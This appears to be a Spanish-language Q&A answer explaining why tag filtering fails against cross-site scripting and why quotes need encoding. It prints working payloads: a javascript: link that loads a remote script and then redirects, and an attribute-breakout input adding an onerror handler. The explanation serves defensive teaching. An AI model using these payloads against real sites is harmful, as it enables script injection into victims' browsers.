XSS
Incluso si asumimos que sus filtros funcionan a la perfección (lo que no haría de forma automática, el filtrado es bastante complejo y fácil de equivocar), esto puede llevar a XSS.
Debido a que no se ha mencionado aún: a
en combinación con un href
sin filtrar no es seguro, ya que se ejecutará JavaScript. Un atacante puede cargar un script remoto y luego redirigir para que el enlace actúe como un enlace normal:
<a href="javascript:s=document.createElement('script');s.src='http://localhost/s.js';document.body.appendChild(s);window.location='http://www.google.com/'">click</a>
La víctima tiene que hacer clic en el enlace, pero un atacante puede proporcionar un enlace interesante o usar ClickJacking para lograrlo.
Encodificación
Debido a que mencionó en un comentario que no usa ninguna codificación, sino solo el filtrado de etiquetas: si no codifica comillas, un atacante puede salir del contexto del atributo actual. Por ejemplo:
<img src="user_input">
con
user_input = invalid" onerror="alert(1)
lleva a
<img src="invalid" onerror="alert(1)">
que será ejecutado por todos los navegadores.